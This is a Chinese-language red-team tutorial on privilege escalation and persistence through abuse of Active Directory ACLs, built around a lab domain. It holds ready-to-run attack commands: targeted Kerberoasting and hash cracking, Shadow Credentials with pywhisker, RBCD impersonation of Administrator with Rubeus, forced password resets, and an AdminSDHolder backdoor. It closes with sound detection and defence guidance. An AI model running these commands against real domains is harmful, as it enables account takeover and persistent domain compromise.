团队内部红蓝对抗之How2PwnACLs
字数 2104 2025-08-25 22:59:02
Active Directory ACL滥用与权限提升技术详解
一、ACL基础概念
1.1 ACL与ACE定义
访问控制列表(ACL)是访问控制条目(ACE)的列表,每个ACE标识一个受托者并指定允许、拒绝或审计的访问权限。Active Directory中安全对象的安全描述符包含两种ACL:
- DACL (Discretionary Access Control List):决定哪些用户/组可以访问对象
- SACL (System Access Control List):决定哪些访问操作需要被审计
1.2 关键权限类型
需要重点关注的ACE权限包括:
- GenericAll:完全控制对象
- WriteDACL:修改对象的DACL权限
- WriteOwner:修改对象所有者
- GenericWrite:修改对象属性
- ForceChangePassword:强制更改密码
- AddMembers:向组添加成员
- AllExtendedRights:执行所有扩展权限操作
二、ACL查看工具与方法
2.1 图形化工具
- ADSI Edit:可视化查看和修改ACL
- Active Directory Users and Computers:基础权限查看
2.2 命令行工具比较
2.2.1 Active Directory Module
(Get-Acl -Path "AD:CN=bob,CN=Users,DC=cia,DC=gov").access
优点:显示IdentityReference直观
缺点:需要域上下文
2.2.2 PowerView
Get-ObjectAcl -samAccountName bob -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}
优点:显示更多字段信息
缺点:部分版本不显示IdentityReference
2.2.3 dsacls.exe
dsacls "CN=bob,CN=Users,DC=cia,DC=gov"
dsacls "\\10.0.0.50\CN=bob,CN=Users,DC=cia,DC=gov" # 远程查询
优点:结果简明,支持远程查询
缺点:无法查看特殊权限细节
2.3 GUID转换
当ACE针对特定属性时,需要转换GUID:
$ObjectTypeGUID = @{}
$GetADObjectParameter=@{
SearchBase=(Get-ADRootDSE).SchemaNamingContext
LDAPFilter='(SchemaIDGUID=*)'
Properties=@("Name", "SchemaIDGUID")
}
$SchGUID=Get-ADObject @GetADObjectParameter
Foreach ($SchemaItem in $SchGUID){
$ObjectTypeGUID.Add([GUID]$SchemaItem.SchemaIDGUID,$SchemaItem.Name)
}
$ADObjExtPar=@{
SearchBase="CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)"
LDAPFilter='(ObjectClass=ControlAccessRight)'
Properties=@("Name", "RightsGUID")
}
$SchExtGUID=Get-ADObject @ADObjExtPar
ForEach($SchExtItem in $SchExtGUID){
$ObjectTypeGUID.Add([GUID]$SchExtItem.RightsGUID,$SchExtItem.Name)
}
$ObjectTypeGUID[[GUID]'bf967961-0de6-11d0-a285-00aa003049e2'] # 查询特定GUID
三、ACL滥用技术实战
3.1 攻击链示例
- 初始访问:获得普通域用户凭证(Amy.Gibson)
- WriteDACL滥用:Amy对Brandi.Khan有WriteDACL权限
- GenericAll获取:赋予Brandi.Khan对Carol.Dean的GenericAll权限
- Shadow Credentials:利用GenericAll设置msDS-KeyCredentialLink
- ForceChangePassword:Carol.Dean对Jane.Ward有密码修改权限
- 组权限提升:Jane.Ward对IT administrators组有GenericAll权限
- RBCD攻击:IT administrators是Account Operators成员,可配置基于资源的约束委派
3.2 关键技术详解
3.2.1 Targeted Kerberoasting
适用场景:拥有对目标用户的Write权限
步骤:
- 为目标账户添加SPN
- 请求Kerberos票据
- 离线破解票据
- 清理添加的SPN
破解命令:
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
3.2.2 Shadow Credentials
适用场景:拥有对目标用户的GenericAll/Write权限
工具:pywhisker
步骤:
# 添加KeyCredential
python pywhisker.py -d "pwn.local" -u "Brandi.Khan" -p "P@ssw0rd" --target "Carol.Dean" --action "add" --filename test1
# 使用证书认证
python gettgtpkinit.py -cert-pfx test1.pfx -pfx-pass 0BUDG9Il7okIRHioXkY2 pwn.local/Carol.Dean Carol.Dean.ccache
set KRB5CCNAME=Carol.Dean.ccache
python getnthash.py -key bc427a139e28d2d965a64caf268209a170e29c11b0def6b11ad077fe3e4b4292 pwn.local/Carol.Dean
# 清理
python pywhisker.py -d "pwn.local" -u "Brandi.Khan" -p "P@ssw0rd" --target "Carol.Dean" --action "clear"
3.2.3 基于资源的约束委派(RBCD)
适用场景:拥有对计算机账户的Write权限(如Account Operators成员)
步骤:
- 创建机器账户:
python addcomputer.py -computer-name faker -computer-pass 123456 -dc-ip 10.0.1.100 pwn.local/Jane.Ward:Admin7Bits
- 配置AllowedToActOnBehalfOfOtherIdentity:
python rbcd.py -dc-ip 10.0.1.100 -t FLAG -f faker pwn\Jane.Ward:Admin7Bits
- 请求票据并模拟管理员:
Rubeus.exe asktgt /domain:pwn.local /user:faker /password:123456 /dc:10.0.1.100 /outfile:1.KIRBI
Rubeus.exe s4u /ticket:1.KIRBI /impersonateuser:Administrator /msdsspn:cifs/FLAG.pwn.local /altservice:cifs /dc:10.0.1.100 /ptt
3.3 其他技术
3.3.1 强制修改密码
使用rpcclient修改密码:
rpcclient -U "pwn\Carol.Dean" //10.0.1.100 --pw-nt-hash
> setuserinfo2 Jane.Ward 23 Admin7Bits
3.3.2 添加用户到特权组
net rpc group addmem "IT administrators" Jane.Ward -U pwn.local/Jane.Ward -S 10.0.1.100
四、持久化技术
4.1 AdminSDHolder后门
原理:SDProp进程每小时将受保护对象的权限与AdminSDHolder容器同步
实施:
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System' -PrincipalIdentity BobT -Rights All
受保护组:
- Account Operators
- Backup Operators
- Server Operators
- Print Operators
- Domain Admins
- Enterprise Admins
- 其他高权限组
五、检测与防御
5.1 审计配置
启用"DS访问"审计日志,监控事件ID 5136(目录服务更改)
5.2 关键日志查询
<QueryList>
<Query Id="0" Path="Security">
<Select Path="Security">
*[System[(EventID=5136)]]
and *[EventData[Data[@Name='ObjectDN'] and (Data='CN=AdminSDHolder,CN=System,DC=YourDomain,DC=com')]]
and *[EventData[Data[@Name='AttributeLDAPDisplayName'] and (Data='nTSecurityDescriptor')]]
</Select>
</Query>
</QueryList>
5.3 SDDL转换
# 将日志中的SDDL转换为可读格式
$sd = New-Object System.Security.AccessControl.RawSecurityDescriptor -ArgumentList $sddlString
$sd.DiscretionaryAcl | Format-Table -AutoSize
六、总结与最佳实践
6.1 攻击面总结
- ACL信息源自LDAP中的安全描述符,读取风险较低但修改风险高
- 修改安全描述符在开启审计时易被检测
- 攻击链通常从低权限账户开始,通过ACL滥用逐步提升权限
6.2 防御建议
- 定期审计域内ACL配置
- 启用DS访问审计并监控关键事件
- 限制敏感权限分配,遵循最小权限原则
- 监控异常SPN添加和修改操作
- 定期检查AdminSDHolder容器权限
6.3 参考工具
- BloodHound/SharpHound:ACL可视化分析
- PowerView:ACL查询与操作
- pywhisker:Shadow Credentials利用
- targetedKerberoast:针对性Kerberoasting
- rbcd-attack:基于资源的约束委派利用